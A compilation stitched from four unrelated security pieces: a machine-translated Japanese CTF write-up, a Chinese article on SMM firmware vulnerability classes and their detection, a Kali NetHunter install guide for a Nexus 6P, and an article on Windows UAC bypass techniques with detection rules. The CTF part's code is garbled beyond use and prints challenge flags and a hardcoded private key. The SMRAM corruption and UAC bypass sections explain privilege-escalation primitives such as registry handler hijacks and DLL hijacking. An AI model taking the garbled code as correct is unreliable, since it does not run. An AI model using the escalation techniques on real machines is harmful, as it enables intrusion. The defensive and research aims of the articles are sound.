$ i $ len; $ i ++）{$ c=substr（$ str、$ i、1）; $ k=substr（$ key、（$ i％strlen（$ key））、1）; $ num=ord（$ c）+ord（$ k）; if（$ num255）$ num-=256; $ re。=chr（$ num）; } return $ re;} function my_decode（$ str、$ key）{return 'something' ' file_put_contents（ 'data_encoded.txt'、$ mi）; echo 'data_encoded.txt';}に保存されましたか？ 私は自分の部門で決定を下します 質問はデータを提供します ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgcccndcfqfpgcgofofpdadadagrプロンプトはカスタムバイナリです。 それは大まかにaからrのアルファベット順の順序であり、1つは行方不明です。したがって、実際には11桁で、aからrは0-9 \ a-hに対応していると推測されています。ここでは使用されていません。 最後に、テスト後、各文字の2桁の電子桁電子桁の電子桁が個別にコード化され、解決策がフラグで取得されます。 crypto.util.Number Import *からOpen（ 'My Centigrade I'm the Master.txt'）as file3: dat=file.readline（）print（）print（dat.encode（）。hex（））print（dat）print（len（dat））co=0 print（i、end=''）co+=1print（）print（co）chls='abcdefghijklmnopqr'myo=' 0123456789abcdefgh'ct=dict（zip（chls、myo））print print（ct）decdat='' .join（ 'for i in dat for i in dat） 18の範囲（0、len（decdat）、2）: tmp=decdat [i: i +2] res=int（tmp、jinzhi）flag +=chr（res）print（f '{tmp}、{res}、{chr（res）} jinzhi）print（flag2）print（long_to_bytes（flag2））s フラグ{heidun18jinzhi666} ソースコードとデータを保護する必要があります 質問説明：困難なPHP、困難なフラグ。 添付ファイルのPHPファイルは暗号化されており、ひび割れする必要があります。 http://www.zhaoyuanma.com/zym.htmlなどのオンラインクラッキングプラットフォームを使用するか、独自のPHP環境を構築し、PHPビースト拡張モジュールをインストールし、PHPソースコードをデバッグモードで復元できます。 （モジュールはデフォルトキーで使用できます）ソースコードは暗号化関数を書き込みましたが、復号化関数は書かれていません。 Plantextフラグを取得するには、TXTファイルを復号化するには、復号化関数を自分で記述する必要があります。復号化コードを参照してください。 Misc ロゴ LSB Steganographyが調べた、ZSTEGは直接 Stegsolveを使用しても大丈夫です、B0チャンネルサンプルを変更しましたが、私の質問が変更されたかどうかはわかりません。これを見ると、base64テーブルの交換を直接考えることができます エンコードテーブルが正しくないことがわかりました。これが不完全なテーブルの理由である可能性があります。 XYZから始まるので、XLSであることがわかったときにAbcdefghijklmnopqrstuvw Officeを学ぶ を追加しました。私はそれが非表示になる可能性があることがわかりました。はフラグの列を見て、マクロ暗号化を促しました。私のWPSはマクロ操作を実行できないため、Windowsのオフィスに変更して、ビューでマクロを見つけました。ただし、フラグの文字順はフィルター機能をソートせず、フィルターコンピューターの結果は下降しています。抽出旗文字 私はQRコードではありません はQRコードのように見えますが、それでも00000001111111111111111111111111111111111111111年になります。ツールを購入したい場合は、Penguin 97766819 QRコードを取得した後、それを特定した後、パスワードを取得しました。私は長い間それをやっています。ファイル名のキーとオフセットだと思います。また、ファイル名 :0101010のキーを作成するための古いルーチンでもあります。写真の最後を確認し、文字列を見つけますxyzabcdefghijklmnopqrstuvwxyz0123456789+/w9i4woeejay7un/hv8u/wt870tq2j6xjkel=完全なbase64テーブルにスプレインし、デコードされたように脱化しますflagxyzabcdefghijklmnopqrstuvwxyz0123456789+/abcdefghijklmnopqrstuvw SMTPフローの追跡 base64電子メール本体をデコードしてテキスト情報を取得し、料理人をHTML出力に保存します。 添付ファイルをダウンロードして、暗号化されたDocxドキュメントを見つけます。パスワードは質問者のQQ番号です。 このページは、WUに比較するように促し、彼がQQ番号217778のコミュニケーショングループの所有者であることを発見しました。 復号化は最終結果になります。 フラグ{baodaheidunchutiren} 私は私の心を変えました、そして私は私を知りませんでした この質問では、go's github.com/tjfoc/gmsm/x509ライブラリを使用して、フラグを暗号化して出力します。公開キーと秘密鍵はすべてソースコードにあります。 したがって、復号化はライブラリで復号化のために直接使用されます。その中で、ReadPrivateKeyFrompem関数は、ソースコードで指定された秘密鍵が暗号化されていないため、秘密キーパスワードとして2番目のパラメーターPWDを渡す必要があるため、nilに渡すだけで十分です。 パッケージmainimport（ 'crypto/rand' _ 'embed' 'github.com/tjfoc/gmsm/x509')type encryptcontroller struct {} func encrypt（plaintext [] byte）[] byte {publickeyfrompem、err :=x509.ReadPublicFuffromec（PUB） ciphertext、err :=publickeyfrompem.encryptasn1（plantext、rand.reader）if err！=nil {panic（err）} return ciphertext} func decrypt（plaintext [] byte）[] byte {privatekeyfrompem、err 3360=x509.readpribatekeykeyfrompem panic（err）} ciphertext、err :=privatekeyfrompem.decryptasn1（plaintext）if err！=nil {panic（err）} return ciphertext} var pub=[] byte（ `-----開始public公開key ----- mfkwewyhkozizj0caqyikoecz1ubgi0dqgaie3xqu+awsgmeqnsvflwusdnjxpkjcsid+xllucj3ukfgmlii/lz2fs3gje4o6pgxzewiizz4eb4b4bbrd1xx1xxkrleq===upubl key ---- `）var pri=[] byte（` -----プライベートを開始しますkey --- migtageambmgbyqgsm49agegccqbhm9vayitbhkwdwibaqgglnntszvhlqswzukwz2cwsfscni8lqm0sssss0kvh8doxg+gcgyikoec Z1UBGI2HRANCAATFGQ74DBKCZ5CEXV+XBRIOEPE+SMJKIP7GWVQINDSR8AYSGJ8TNYVLEAL7IJO8ZDKRAIHNPH5VHUT3XGVESUV5 ---- END秘密キー---- `）func main（）{cs :=[] byte {48、125、2、33、0、238、212、154、134、255、91、109、210、231、242、184、9、103、26、30、241、93、242、68、119、148、21、148、218、218、218、218、241、175、148、148、148、148、148、 3、152、63、85、82、2、32、2、156、154、131、146、194、242、200、19、109、209、151、90、252、165、49、247、141、208、219、117、226、91、113、113、225、225、33、162、162、162、87、49、49、49、49、49、49、49、68 16、18、177、119、110、74、6、147、235、85、0、61、4、43、107、207、249、37、195、141、141、23、244、159、235、159、169、243、160、37、4、4、20、179、67、236、236、121、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、13 197、214、34、63、138、237、247、166、117、246、210} flag :=decrypt（cs）res :=string（flag）println（res）}フラグヘッダーを追加して実際のフラグを取得します。 フラグ{this_is_a_p

自從我們發布UEFI系列文章的最後一篇以來，已經過去了整整一年了。在此期間，固件安全社區比以往任何時候都更加活躍，並發表了一些高質量的出版物。值得注意的樣本包括發現新的UEFI植入物，如MoonBounce和ESPecter，以及最近由Binarly披露的不少於23個高危BIOS漏洞。 在過去的一年裡，我們也在努力尋找和利用SMM漏洞。在花了幾個月的時間後，我們注意到了SMM代碼中一些重複出現的反模式，並對漏洞的潛在可利用性形成了相當好的直覺。最終，在披露了13個這樣的漏洞後，我們成功地結束了2021年的工作，這些漏洞影響了行業中大多數知名的OEM廠商。此外，還有幾個漏洞仍在走負責任的披露流程，應該很快就會公開。 在這篇文章中，我們將為讀者分享與SMM漏洞相關的知識、工具和方法。我們希望，當大家讀完這篇文章時，自己也能挖掘這種固件漏洞。請注意，本文假設讀者已經熟悉SMM術語和內部結構，所以，如果您對這些內容還不夠熟悉的話，我們強烈建議大家先閱讀參考文獻部分列出的資料。現在，讓我們開始吧。 SMM漏洞的分類雖然在理論上，SMM代碼是與外界相互隔離的，但在現實中的某些情況下，非SMM代碼可以觸發甚至影響在SMM內部運行的代碼。因為SMM的架構非常複雜，裡面有很多“活動部件”，所以，因此攻擊面非常大，其中涉及通信緩衝區、NVRAM變量、支持DMA的設備等傳遞的數據，等等。 在下一節中，我們將介紹一些較常見的SMM安全漏洞。對於每種漏洞類型，我們將提供簡短的描述，相應的緩解措施以及檢測策略。請注意，該漏洞清單並不詳盡，只包含SMM環境中特有的漏洞。因此，其中並沒有提及某些非常常見的安全漏洞，如堆棧溢出和重複釋放（double-frees）等漏洞。 系統管理模式調出漏洞（SMM Callout）最基本的SMM漏洞類型被稱為“SMM調出”。每當SMM代碼調用位於SMRAM邊界之外的函數時（如SMRR所定義），就會出現這種漏洞。最常見的調出場景是SMI處理程序：它試圖調用作為其操作的一部分的UEFI啟動服務或運行時服務。擁有操作系統級權限的攻擊者可以在觸發SMI之前修改這些服務所在的物理頁面，從而在受影響的服務被調用後劫持特權執行流程。 圖1 SMM調出漏洞示意圖 緩解措施最明顯的方法，就是防止寫出這種有問題的代碼；此外，我們也可以在硬件層面提供相應的緩解措施。從第四代酷睿微架構（Haswell）開始，英特爾CPU支持一個名為SMM_Code_Chk_En的安全功能。如果這個安全功能被打開，一旦進入SMM，CPU將被禁止執行位於SMRAM區域之外的任何代碼。您可以將這個功能視為Supervisor Mode Execution Prevention(SMEP)的SMM等價物。 通過執行CHIPSEC的smm_code_chk模塊，可以查詢這種緩解措施的工作狀態。 圖2 使用chipsec查詢針對SMM調出漏洞的硬件緩解措施 檢測方法針對SMM調出漏洞的靜態檢測方法其實是非常簡單的。在分析給定的SMM二進製文件時，要仔細查找導致調用UEFI啟動或運行時服務的執行流程的SMI處理程序。這樣一來，尋找SMM調出漏洞的問題就被簡化為搜索調用圖中某些路徑的問題。幸運的是，我們根本不需要手動完成這項工作，因為efiXplorer IDA插件已經實現了這種啟發式方法。 正如我們在本系列的前幾篇文章中提到的，efiXplorer能夠提供一站式服務，它已經成為了用IDA分析UEFI二進製文件的事實上的標準方法。它提供了下列功能： 定位和重命名已知的UEFI GUID； 定位和重命名SMI處理程序； 定位和重命名UEFI啟動/運行時服務； efiXplorer的最新版本使用Hex-Rays反編譯器來改進分析過程。其中一個特點是能夠為傳遞給LocateProtocol()或其SMM對應的SmmLocateProtocol()等方法的接口指針分配正確的類型。 給Ghidra用戶的一點提示：我們還想補充的是，Ghidra插件efiSeek負責上述列表中的所有變更。但是，它不包括efiXplorer所提供的協議窗口和漏洞檢測功能等用戶界面元素。 在完成對輸入文件的分析後，efiXplorer將繼續檢查由SMI處理程序執行的所有調用，從而得到潛在調出的精選清單： 圖3 efiXplorer發現的調出 圖4 sub_7F8可以從SMI處理程序訪問，但仍然調用位於SMRAM之外的啟動服務 在大多數情況下，這個啟發式方法工作得很好，但是我們遇到了幾種邊緣情況，這時可能會產生誤報。其中，最常見的誤報是由於使用EFI_SMM_RUNTIME_SERVICES_TABLE所造成的。這是一個UEFI配置表，它暴露了與標準EFI_RUNTIME_SERVICES_TABLE完全相同的功能，唯一顯著的區別是，與它的“標準”對應物不同，它駐留在SMRAM中，因此適合被SMI處理程序所使用。許多SMM二進製文件在完成一些模板式的初始化任務後，經常將全局RuntimeServices指針重新映射到SMM特定的實現： 圖5 將全局RuntimeService指針重新映射到與SMM兼容的實現上 通過重新映射的指針調用運行時服務，會產生一種乍看之下似乎是調出的情況，儘管仔細檢查會發現並非如此。為了克服這個問題，分析人員應該始終在SMM二進製文件中搜索標識為EFI_SMM_RUNTIME_SERVICES_TABLE的GUID。如果找到這種GUID，則大部分涉及UEFI運行時服務的調出都有可能是誤報。但這並不適用於涉及啟動服務的調出。 圖6 通過重新映射的RuntimeService指針調用GetVariable()引起的誤報 另一個潛在的誤報來源是各種“雙模式”包裝器函數，這意味著它們可以從SMM和非SMM上下文中進行調用。在內部，如果調用方在SMM中運行，這些函數會派發對SMM服務的調用，否則會派發對等效的啟動/運行時服務的調用。我們在野外看到的最常見的樣本是EDK2的FreePool()，如果要釋放的緩衝區位於SMRAM中，它就調用gSmst-SmmFreePool()，否則就調用gBs-FreePool()。 圖7 EDK2的FreePool()實用函數是一個常見的誤報來源 正如這個例子所展示的，漏洞分析人員應該意識到，靜態代碼分析技術很難確定某些代碼路徑在實踐中不會被執行，因此，很可能將其標記為調出。在編譯後的二進製文件中識別這種函數的相關技巧和竅門，將在後文中加以介紹。 低址SMRAM損壞類型說明在正常情況下，用於向SMI處理器傳遞參數的通信緩衝區不得與SMRAM重疊。這個限制的理由很簡單：如果不是這樣，那麼每次SMI處理程序將某些數據寫入通信緩衝區的時候——例如，為了向調用方返回狀態代碼時，都會“順帶”修改SMRAM的某些部分，這是不可取的。 圖8 不應該出現的情況 在EDK2中，負責檢查給定緩衝區是否與SMRAM重疊的函數被稱為SmmIsBufferOutsideSmmValid()。這個函數在每次SMI調用時都會在通信緩衝區上被調用，以便執行這一限制。 圖9 EDK2禁止通信緩衝區與SMRAM重疊 唉，由於通信緩衝區的大小也在攻擊者的控制之下，這種檢查本身並不足以保證全面的保護，因此，一些額外的責任落在了固件開發者的肩上。我們很快就會看到，許多SMI處理程序在這裡出問題了，並留下了一個漏洞，攻擊者可以利用這個漏洞來繞過這個限制，進而破壞SMRAM的低址部分。為了了解為何會出現這種情況，讓我們仔細考察一個具體的例子。 圖10 一個存在安全漏洞的SMI處理程序 上面是現實生活中非常簡單的SMI處理程序。我們可以將其操作分為4步： 檢查參數； 將MSR_IDT_MCR5寄存器的值讀入局部變量； 從中計算一個64位值，然後將結果寫回通信緩衝區； 返回到調用方。 精明的讀者可能知道這樣一個事實，即在第3步中，一個8字節的值被寫入通信緩衝區，但在第1步中，代碼並沒有檢查緩衝區至少8字節長這一先決條件。由於缺乏這項檢查，攻擊者就可以通過以下方式發動攻擊： 將通信緩衝器放到盡可能靠近SMRAM基址的位置（例如SMRAM-1）； 將通信緩衝區的大小設置為足夠小的整數值，例如1字節； 觸發易受攻擊的SMI。從原理上講，內存佈局如下所示： 圖11 調用SMI時的內存佈局 就SmmEntryPoint而言，通信緩衝區只有1個字節長，與SMRAM並不重疊。正因為如此，SmmIsBufferOutsideSmmValid()將成功執行，實際的SMI處理程序將被調用。在第3步中，處理程序將盲目地將一個QWORD值寫入通信緩衝區，這樣做會無意中也對SMRAM的低7個字節也執行了寫入操作。 圖12 損壞發生時的內存佈局 根據EDK2，TSEG（SMRAM的事實上的標準位置）的底部包含一個SMM_S3_RESUME_STATE類型的結構體，其工作是控制從S3睡眠狀態的恢復過程。正如下面所看到的，這個結構體包含了大量的成員和函數指針，它們的損壞會使攻擊者受益。 圖13 SMM_S3_RESUME_STATE對象的定義 緩解措施為了緩解這類漏洞，SMI處理程序必須顯式檢查提供的通信緩衝區和bailout的大小，以防實際大小與預期大小不同。這可以通過下列方式實現： 取消對所提供的CommBufferSize參數的引用，然後將其與預期的大小進行比較。該方法之所以有效，是因為我們已經看到SmmEntryPoint調用了SmmIsBufferOutsideSmmValid(CommBuffer, *CommBufferSize)，以保證緩衝區的*CommBufferSize字節位於SMRAM之外。 圖14 可以通過檢查CommBufferSize參數來緩解低址SMRAM損壞漏洞 再次調用通信緩衝區上的SmmIsBufferOutsideSmmValid()，這一次使用處理程序所期望的大小。 檢測方法為了檢測這類漏洞，我們應該尋找那些沒有正確檢查通信緩衝區大小的SMI處理程序。這表明該處理程序沒有執行以下任何一項： 取消對CommBufferSize參數的引用。 在通信緩衝區上調用SmmIsBufferOutsideSmmValid()。 條件1很容易檢測，因為efiXplorer已經能夠定位SMI處理程序並為它們分配正確的函數原型。條件2也很容易驗證，但關鍵是：由於SmmIsBufferOutsideSmmValid()是靜態鏈接的代碼，所以，我們必須能夠在編譯後的二進製文件中識別它，相關的技巧和竅門將在後面加以介紹。 任意SMRAM損壞類型說明雖然在我們對SMM漏洞的分析中肯定是向前邁進了一大步，但之前的漏洞類別仍然存在幾個重要的限制，使得它們在現實生活場景中難以利用。一個更好、更強大的利用原語將允許我們破壞SMRAM中的任意位置，而不僅僅是那些毗鄰底部的位置。 這樣的利用原語通常可以在其通信緩衝區包含嵌套指針的SMI處理程序中找到。由於通信緩衝區的內部佈局事先並不知道，所以，SMI處理程序本身需要對其進行正確的解析和淨化處理，這通常歸結為對嵌套的指針調用SmmIsBufferOutsideSmmValid()，如果其中一個指針恰好與SMRAM重疊，就跳出。我們就可以在EDK2的SmmLockBox驅動中可以找到一個正確檢查這些條件的教科書式的例子。 圖15 SmmLockBoxSave的子處理程序，用於對嵌套指針進行淨化處理 為了向操作系統報告SMM已經實現了哪些最佳實踐，現代UEFI固件通常會創建並填充一個ACPI表，稱為Windows SMM Mitigations Table，或簡稱WSMT。除其他事項外，WSMT還維護一個名為COMM_BUFFER_NESTED_PTR_PROTECTION的標誌，如果存在該標誌，則表明SMI處理程序不會在未經事先淨化的情況下使用嵌套指針。這個表可以使用chipsec模塊common.wsmt進行轉儲和解析。 圖16 使用CHIPSEC來轉儲和解析WSMT表的內容 不幸的是，實踐表明，大部分情況下報告的緩解措施和現實之間的相關性是很小的。即使存在WSMT，並且報告指出所有支持的緩解措施都是有效的，也經常發現SMM驅動程序完全忘了對通信緩衝區進行淨化處理。利用這一點，攻擊者可以用一個指向SMRAM內存的嵌套指針來觸發有漏洞的SMI。根據特定處理程序的性質，這可能導致指定地址的損壞或從該地址讀取的敏感信息。下面，讓我們來看一個具體的例子。 圖17 SMI處理程序沒有對嵌套指針進行淨化處理，使其容易受到內存損壞的攻擊 在上面的片段中，有一個SMI處理程序，它通過通信緩衝區獲得一些參數。根據反編譯的偽代碼，我們可以推斷出，緩衝區的第一個字節被解釋為一個OpCode字段，指示處理程序接下來應該做什麼（1）。我們可以看出（2），這個字段的有效值是0、2或3。如果實際值與這些值不同，將執行默認子句（3）。在這個子句中，一個錯誤代碼被寫到通訊緩衝區第2個字段所指向的內存位置。由於這個字段和通信緩衝區的全部內容都在攻擊者的控制之下，因此，他們可以在觸發SMI之前對其進行如下設置。 圖18 導致SMRAM損壞的通信緩衝區內容 隨著處理程序的執行，OpCode字段的值將迫使它退回到缺省子句，而地址字段將由攻擊者根據他或她想要破壞的SMRAM的確切部分提前選擇。 緩解措施若要緩解此類漏洞，SMI處理程序必須在使用通信緩衝區之前對其傳遞的任何指針值進行淨化。指針驗證可以通過以下兩種方式之一執行： 調用SmmIsBufferOutsideSmmValid函數：正如前面提到的，SmmIsBufferOutsideSmmValid()是EDK2提供的一個實用函數，用於檢查給定的緩衝區是否與SMRAM重疊。淨化外部輸入指針時，這是首先方法。 另外，一些基於AMI代碼庫的UEFI實現並沒有使用SmmIsBufferOutsideSmmValid()，而是通過一個名為AMI_SMM_BUFFER_VALIDATION_PROTORT的專用協議提供了類似的功能。除了調用函數和使用UEFI協議的語義差異之外，這兩種方法的工作方式大致相同。在下一節，我們將為讀者介紹如何將該協議的定義正確導入IDA。 圖19 AMI_SMM_BUFFER_VALIDATION_PROTOCOL是一種操作 檢測方法 檢測這類漏洞的基本思路是尋找不調用SmmIsBufferOutsideSmmValid()或利用等價的AMI_SMM_BUFFER_VALIDATION_PROTOCOL的SMI處理程序。然而，一些邊緣情況也必須被考慮到。如果不這樣做，可能會引入不必要的假陽性或假陰性。 對通信緩衝區本身調用SmmIsBufferOutsideSmmValid()函數：這只能保證通信緩衝區不與SMRAM重疊（詳見低址SMRAM損壞漏洞），但它對嵌套的指針沒有效果。因此，當試圖評估處理程序對rouge指針值的魯棒性時，這些情況不應該被考慮在內。 完全不使用嵌套指針。一些SMI處理程序可能不會調用SmmIsBufferOutsideSmmValid()，僅僅是因為通信緩衝區沒有保存任何嵌套指針，而是保存了其他數據類型，如整數、布爾標誌等。為了區分這種良性的情況和易受攻擊的情況，我們必須清楚了解通信緩衝區的內部佈局。 雖然這可以作為逆向工程過程的一部分手動完成，但幸運的是，如今自動類型重構已經絕非科幻小說，相反，已經存在相應的工具，並且都可以作為現成的解決方案隨時使用。對於這種類型的漏洞來說，兩個最突出和最成功的IDA插件是HexRaysPyTools和HexRaysCodeXplorer。使用這些工具中的任何一個，都可以對原始指針訪問表示法進行相應的轉換，例如： 圖20 使用原始CommBuffer的SMI處理器 變成更友好和更容易理解的點到成員表示法： 圖21 使用重構CommBuffer的SMI處理器 更重要的是，這些插件可以跟踪各個字段的訪問方式。基於訪問模式，它們完全有能力重構包含結構體的佈局，並推斷出成員的數量、大小、類型、屬性，等等。當應用於通信緩衝區時，這種方法可以幫助我們快速查找其中是否含有嵌套指針。

0x00 前言Android滲透平台搭建的系列文章將要介紹在Android設備上搭建各種用於滲透的操作系統。 本文作為第一篇，將要介紹Android設備Nexus6P安裝Kali NetHunter的方法，記錄細節。 Kali NetHunter目前最新的版本為2022年1月，對於這個版本，還沒有一個完整的安裝指南。 0x01 簡介本文將要介紹以下內容： Kali NetHunter的不同版本 Nexus6P安裝Kali NetHunter 0x02 Kali NetHunter的不同版本參考資料： https://www.kali.org/docs/nethunter/ Kali NetHunter分為三個不同的版本： NetHunter Rootless，不需要root，不需要TWRP，可以從https://store.nethunter.com/下載apk安裝，不支持Wifi和HID攻擊 NetHunter Lite，不需要root，需要TWRP，功能不完整 NetHunter，需要root，需要TWRP，只支持部分Android設備，功能最完整 為了能夠完整的體驗Kali NetHunter的功能，我們需要安裝NetHunter，支持的設備型號可參考：https://stats.nethunter.com/nethunter-images.html 這裡選取官方首推的低端設備Nexus6P (Oreo)，介紹安裝方法 0x03 Nexus6P (Oreo)安裝Kali NetHunter基本概念： adb：全稱Android Debug Bridge，用來調試設備 fastboot：常用功能為設備解鎖，刷寫img文件，格式化系統分區和運行img文件 TWRP：全稱Team Win Recovery Project，常用功能為刷機、備份和恢復 Magisk：常用功能為獲得root權限 總體流程如下： 1.開啟Nexus6P的OEM unlocking和USB debugging 2.使用adb進入Bootloder模式 3.使用fastboot刷入TWRP 4.通過TWRP安裝Android系統鏡像Oreo 5.通過TWRP安裝Kali NetHunter和Magisk 具體步驟如下： 1.下載文件(1)adb和fastboot 需要下載到Windows系統並配置環境變量 這裡可以選擇一鍵下載配置，下載地址：https://forum.xda-developers.com/t/official-tool-windows-adb-fastboot-and-drivers-15-seconds-adb-installer-v1-4-3.2588979/#post-48915118 運行adb-setup-1.4.3.exe按照提示即可 (2)TWRP 下載頁面：https://dl.twrp.me/angler/ 這裡選擇twrp-3.6.1_9-0-angler.img，下載地址：https://dl.twrp.me/angler/twrp-3.6.1_9-0-angler.img.html 將twrp-3.6.1_9-0-angler.img保存在Windows系統中，可通過fastboot刷入Nexus6P (3)Oreo Oreo是指Android 8的系統鏡像 下載頁面：https://developers.google.com/android/images 這裡選擇8.0.0 (OPR5.170623.014, Dec 2017)，下載地址：https://dl.google.com/dl/android/aosp/angler-ota-opr5.170623.014-234956cb.zip (4)Magisk 下載頁面：https://github.com/topjohnwu/Magisk 這裡選擇Magisk-v21.4.zip，下載地址：https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip (5)Kali NetHunter 下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-angler-oreo-kalifs-full.zip 2.解鎖Nexus6P的Bootloader(1)啟動開發者選項 打開Nexus6P，依次選擇Settings - System - About phone，多次點擊Build number可啟動Developer options (2)修改手機設置 點擊Developer options，打開OEM unlocking和USB debugging (3)連接設備 通過USB數據線將Nexus6P連接Windows系統 (4)解鎖 Windows系統的命令行執行： adbrebootbootloader等待Nexus6P重啟，進入Bootloader模式 Windows系統的命令行執行： fastbootflashingunlockNexus6P用音量+選擇yes，按電源鍵進行確認 至此，解鎖完成。解鎖後每次開機會出現提示Your device software can't be checked for corruption. Please lock the bootloader. PRESS POWER TO PAUSE BOOT 3.刷入TWRP(1)進入Bootloader模式 關機狀態下，同時按住電源鍵和音量- (2)連接設備 通過USB數據線將Nexus6P連接Windows系統 通過Windows系統命令行查看設備： fastbootdevices能夠獲得回顯 (3)刷入TWRP Windows系統的命令行執行： fastbootflashrecoverytwrp-3.6.1_9-0-angler.img如下圖 (4)Nexus6P啟動TWRP Nexus6P用音量-切換到Recovery mode，按電源鍵進行確認 等待Nexus6P啟動TWRP 4.將文件複製到Nexus6P(1)Oreo 將鏡像文件angler-ota-opr5.170623.014-234956cb.zip複製到手機的根目錄下 在Nexus6P啟動TWRP後，Windows系統可以訪問手機內的文件，可以進行文件複製操作，如下圖 也可以通過adb的push命令複製：adb push angler-ota-opr5.170623.014-234956cb.zip /sdcard 注： push命令需要等待很長時間 (2)Kali NetHunter 將nethunter-2022.1-angler-oreo-kalifs-full.zip複製到手機的根目錄下 (3)Magisk-v21.4.zip 將Magisk-v21.4.zip複製到手機的根目錄下 5.使用TWRP安裝Oreo 8.0在Nexus6P的TWRP頁面，選擇Install，選擇angler-ota-opr5.170623.014-234956cb.zip進行安裝 安裝成功後選擇Reboot System 至此，Android Oreo 8.0系統安裝完成 6.使用TWRP安裝Kali NetHunter和Magisk(1)進入TWRP Nexus6P關機狀態下，同時按住電源鍵和音量- 通過USB數據線將Nexus6P連接Windows系統 Windows系統命令行： fastboot.exeflashrecoverytwrp-3.6.1_9-0-angler.imgNexus6P用音量-切換到Recovery mode，按電源鍵進行確認 等待Nexus6P啟動TWRP (2)安裝Kali NetHunter 在Nexus6P的TWRP頁面，選擇Install，選擇nethunter-2022.1-angler-oreo-kalifs-full.zip 需要取消選擇Reboot after installation is complete避免安裝後Nexus6P自動重啟 經過漫長的等待，安裝成功 (3)安裝Magisk-v21.4.zip 在Nexus6P的TWRP頁面，選擇Install，選擇Magisk-v21.4.zip 安裝成功後選擇Reboot System 至此，Kali NetHunter安裝完成 在Nexus6P的應用列表中，能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX 0x04 小結本文介紹了在Nexus6P安裝Kali NetHunter的方法，其他設備可依次類推。

惡意軟件通常需要計算機上的完全管理權限來執行更有影響的操作，如添加逃避防病毒軟件檢測、加密安全文件或向感興趣的系統進程中註入代碼。即使目標用戶擁有管理權限，用戶帳戶控制(UAC)的流行也意味著惡意應用程序通常默認為中等完整性，從而阻止對具有較高完整性級別的資源的寫入訪問。要繞過這個限制，攻擊者將需要一種無需用戶交互（無UAC 提示）靜默提升完整性級別的方法。這種技術被稱為繞過用戶帳戶控制，它依賴於各種原語和條件，其中大部分基於搭載提升的Windows 功能。 以Medium 身份運行的cscript.exe 示例通過UAC 繞過生成具有高完整性的cmd.exe 實例： 大多數UAC 驗證邏輯是在應用程序信息(AppInfo) 服務中實現的。我們將在本文介紹一組UAC 繞過，調查它們所依賴的一些關鍵原語以及對應的檢測方式。 UAC 繞過方法UAC 繞過方法通常會通過生成惡意子進程或加載繼承目標應用程序提升的完整性級別的惡意模塊來劫持提升的應用程序的正常執行流程。 還有一些其他極端情況，但最常見的劫持方法是： 註冊表鍵操作操作註冊表鍵的目的是將提升程序的執行流程重定向到受控命令。最常被濫用的鍵值與特定擴展的shell 打開命令（取決於目標程序）或windir/systemroot 環境變量操作有關： HKCU\\Software\\Classes\\\shell\\open\command(默認或DelegateExecute值)； HKCU\\Environment\\windir； HKCU\\Environment\\systemroot；例如，當fodhelper(一個Windows二進製文件，允許提升而不需要UAC提示)被惡意軟件作為Medium完整性進程啟動時，Windows會自動將fodhelper從Medium完整性進程提升到High完整性進程。然後，高完整性fodhelper嘗試使用其默認的處理程序打開ms-settings文件。由於中等完整性的惡意軟件已經劫持了這個處理程序，被提升的fodhelper將執行攻擊者選擇的一個命令作為一個高完整性進程。 下面是一個Glupteba 惡意軟件的示例，它利用這種方法首先從中等完整性進程提升到高完整性過程，然後通過令牌操縱（令牌竊取）從高完整性進程提升到系統完整性： 操縱Windows 環境變量註冊表鍵的UAC 繞過示例是byeintegrity5。為了說明這一點，此繞過使用此原語重定向CDSSync 計劃任務的正常執行流程（設置為以最高權限運行），並提升完整性級別，如下所示。 當CDSSync 計劃任務運行時，taskhostw.exe 會嘗試從%windir%\System32 文件夾加載npmproxy.dll，但因為惡意軟件控制了%windir%，它可以重定向taskhostw.exe從它控制的路徑加載一個名為npmproxy.dll的DLL，如下所示。 當UAC 設置為Always Notify（最高UAC 級別）時，基於環境變量操作的UAC 繞過通常會起作用，因為它們通常不涉及將文件寫入安全路徑或啟動自動提升應用程序。從當前用戶註冊表更改SystemRoot 或Windir 到非預期值是非常可疑的，應該是檢測的高置信度信號。 DLL 劫持DLL劫持方法通常包括找到一個丟失的DLL(通常是一個丟失的依賴項)，或者通過將一個惡意的DLL加載到一個提升進程中來贏得DLL文件寫入進程。如果UAC 已啟用但未設置為Always Notify，則惡意軟件可以執行提升的IFileOperation（無UAC 提示）來創建/複製/重命名或將DLL 文件移動到受信任的路徑（即System32），然後觸發提升的程序加載惡意DLL 而不是預期的。 IFileOperation 由dllhost.exe（COM 代理）執行，其中process.command_line 包含classId {3AD05575-8857-4850-9277-11B85BDB8E09}。 我們可以使用以下EQL 關聯來鏈接dllhost.exe 的任何文件操作，然後將一個非microsoft簽名的DLL加載到一個運行系統完整性的進程中： 這是一個檢測UACME 30將wow64log.dll側載到作為系統運行的WerFault.exe實例的示例（它提供了一個很好的從Medium到System完整性的直接跳轉），如下所示。 如果UAC 設置為Always Notify，則查找丟失的DLL 或贏得文件寫入競爭條件到可由中等完整性進程寫入的路徑是一個有效選項。這是UAC 繞過劫持SilentCleanup 計劃任務（通過文件寫入競爭條件）的示例，該任務會產生從AppData 子文件夾（可由中等完整性寫入）執行的高完整性後代進程DismHost.exe，這是另一個濫用相同的變體任務，但缺少依賴項api-ms-win-core-kernel32-legacy-l1.dll。 另一個可以實現相同目標的DLL 劫持原語是使用DLL 加載重定向，方法是在目標提升程序的同一目錄中創建一個文件夾（例如target_program.exe.local 並在其中放置一個將被加載而不是預期的DLL ）。 此技術也可用作本地權限提升的原語，以防漏洞允許創建文件夾（具有許可的訪問控制列表）到受控位置，例如Jonas Lykkegård 在本文中描述的從directory deletion到SYSTEM shell的內容。 此查詢與UACME 方法22 匹配，該方法針對consent.exe（作為系統執行），欺騙它從SxS DotLocal目錄加載comctl32.dll，而不是System32： 值得一提的是，大多數通過DLL 劫持繞過UAC 對持久性也很有用，並且可能會繞過基於自動運行（已知文件和註冊表持久性位置）的檢測。 提升的COM 接口此方法與前面的方法稍有不同，這意味著不涉及直接操作重定向。相反，它依賴於找到一個提升的COM 接口，該接口公開了某種形式的執行能力（即CreateProcess/ShellExec 包裝器），可以調用它來啟動一個通過中等完整性進程的參數傳遞的特權程序。 從操作的角度來看，通常這些COM 接口將在dllhost.exe（COM 代理）的上下文中執行，其中process.command_line 包含目標COM 對象的classId，這通常會導致創建高完整性子進程。 